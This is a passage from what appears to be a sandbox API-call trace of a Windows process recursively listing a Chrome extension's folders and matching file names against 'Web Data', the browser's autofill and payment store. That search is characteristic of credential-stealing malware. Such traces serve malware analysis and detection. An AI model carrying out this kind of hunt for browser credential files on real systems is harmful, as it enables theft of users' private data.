Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW" [0056.311] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW\\*.*" [0056.311] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.311] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.311] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.311] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.311] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.311] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.312] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.312] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.312] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.312] LocalFree (hMem=0x2daec8) returned 0x0 [0056.312] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.312] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0 [0056.312] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.312] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.312] LocalFree (hMem=0x2d9b88) returned 0x0 [0056.312] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f260 | out: lpFindFileData=0x21f260) returned 1 [0056.312] lstrcmpiA (lpString1=".", lpString2="__MACOSX") returned -1 [0056.312] lstrcmpiA (lpString1="..", lpString2="__MACOSX") returned -1 [0056.312] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned 121 [0056.312] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned 121 [0056.312] lstrlenA (lpString="\\") returned 1 [0056.312] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x2dedd8 [0056.312] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0" [0056.312] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\" [0056.312] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\") returned 122 [0056.312] lstrlenA (lpString="__MACOSX") returned 8 [0056.312] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2d9b88 [0056.312] lstrcpyA (in: lpString1=0x2d9b88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\" [0056.312] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\", lpString2="__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX" [0056.312] LocalFree (hMem=0x2dedd8) returned 0x0 [0056.312] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX") returned 130 [0056.312] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX") returned 130 [0056.312] lstrlenA (lpString="\\*.*") returned 4 [0056.312] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dedd8 [0056.312] lstrcpyA (in: lpString1=0x2dedd8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX" [0056.312] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\*.*" [0056.312] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\*.*", lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 0x2dc878 [0056.312] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.312] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.312] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.312] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.312] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.312] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0056.312] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0056.312] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX") returned 130 [0056.312] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX") returned 130 [0056.312] lstrlenA (lpString="\\") returned 1 [0056.312] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2daca0 [0056.312] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX" [0056.312] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\" [0056.312] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\") returned 131 [0056.312] lstrlenA (lpString="_locales") returned 8 [0056.312] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x2dadb0 [0056.312] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\" [0056.312] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.313] LocalFree (hMem=0x2daca0) returned 0x0 [0056.313] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.313] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.313] lstrlenA (lpString="\\*.*") returned 4 [0056.313] LocalAlloc (uFlags=0x40, uBytes=0x110) returned 0x2daec8 [0056.313] lstrcpyA (in: lpString1=0x2daec8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.313] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\*.*" [0056.313] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.313] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.313] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.313] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.313] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.313] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.313] lstrcmpiA (lpString1=".", lpString2="ar") returned -1 [0056.313] lstrcmpiA (lpString1="..", lpString2="ar") returned -1 [0056.313] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.313] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.313] lstrlenA (lpString="\\") returned 1 [0056.313] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.313] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.313] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.313] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.313] lstrlenA (lpString="ar") returned 2 [0056.313] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.313] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.313] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar" [0056.313] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.313] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar") returned 142 [0056.313] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar") returned 142 [0056.313] lstrlenA (lpString="\\*.*") returned 4 [0056.313] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.313] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar" [0056.313] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar\\*.*" [0056.314] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\ar\\*.*", lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0x2dc8f8 [0056.314] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.314] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 1 [0056.314] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.314] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.314] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21edb0 | out: lpFindFileData=0x21edb0) returned 0 [0056.314] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0056.314] LocalFree (hMem=0x2dc218) returned 0x0 [0056.314] LocalFree (hMem=0x2dc100) returned 0x0 [0056.314] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.314] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.314] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.314] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.314] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned 139 [0056.314] lstrlenA (lpString="\\") returned 1 [0056.314] LocalAlloc (uFlags=0x40, uBytes=0x10d) returned 0x2dbfe8 [0056.314] lstrcpyA (in: lpString1=0x2dbfe8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales" [0056.314] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.314] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned 140 [0056.314] lstrlenA (lpString="bg") returned 2 [0056.314] LocalAlloc (uFlags=0x40, uBytes=0x10f) returned 0x2dc100 [0056.314] lstrcpyA (in: lpString1=0x2dc100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\" [0056.314] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg" [0056.314] LocalFree (hMem=0x2dbfe8) returned 0x0 [0056.314] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg") returned 142 [0056.314] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg") returned 142 [0056.314] lstrlenA (lpString="\\*.*") returned 4 [0056.314] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x2dc218 [0056.314] lstrcpyA (in: lpString1=0x2dc218, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\__MACOSX\\_locales\\bg" [0056.314] lstrcatA (in: lpString1="C:\\Users\\aDU0VK 